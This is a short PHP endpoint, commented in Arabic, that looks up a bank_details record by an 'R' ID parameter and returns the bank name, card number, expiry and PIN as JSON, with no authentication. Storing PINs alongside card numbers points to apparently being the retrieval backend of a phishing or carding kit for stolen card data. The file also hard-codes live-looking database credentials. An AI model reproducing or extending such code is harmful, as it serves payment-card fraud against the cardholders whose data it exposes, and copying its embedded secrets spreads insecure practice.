<?php
header("Content-Type: application/json");

// إعدادات الاتصال بقاعدة البيانات
$host = "localhost";
$username = "u565109619_can47"; // اسم المستخدم الصحيح
$password = "Y8PwwD|fLI#i"; // كلمة المرور الصحيحة
$dbname = "u565109619_can47"; // اسم قاعدة البيانات الصحيحة

$conn = new mysqli($host, $username, $password, $dbname);

if ($conn->connect_error) {
    error_log("Database connection failed: " . $conn->connect_error);
    echo json_encode(["success" => false, "error" => "فشل الاتصال بقاعدة البيانات."]);
    exit;
}

if (!isset($_GET['R'])) {
    error_log("R parameter missing in request.");
    echo json_encode(["success" => false, "error" => "المعرف غير موجود في الطلب."]);
    exit;
}

$R_ID = $conn->real_escape_string($_GET['R']);
error_log("Fetching details for R_ID: " . $R_ID);

$sql = "SELECT bank_name, card_number, prefix, month, year, pin FROM bank_details WHERE R_ID = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("s", $R_ID);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows > 0) {
    $row = $result->fetch_assoc();
    echo json_encode(["success" => true, "data" => $row]);
} else {
    error_log("No data found for R_ID: " . $R_ID);
    echo json_encode(["success" => false, "error" => "لم يتم العثور على بيانات بهذا المعرف."]);
}

$stmt->close();
$conn->close();
?>
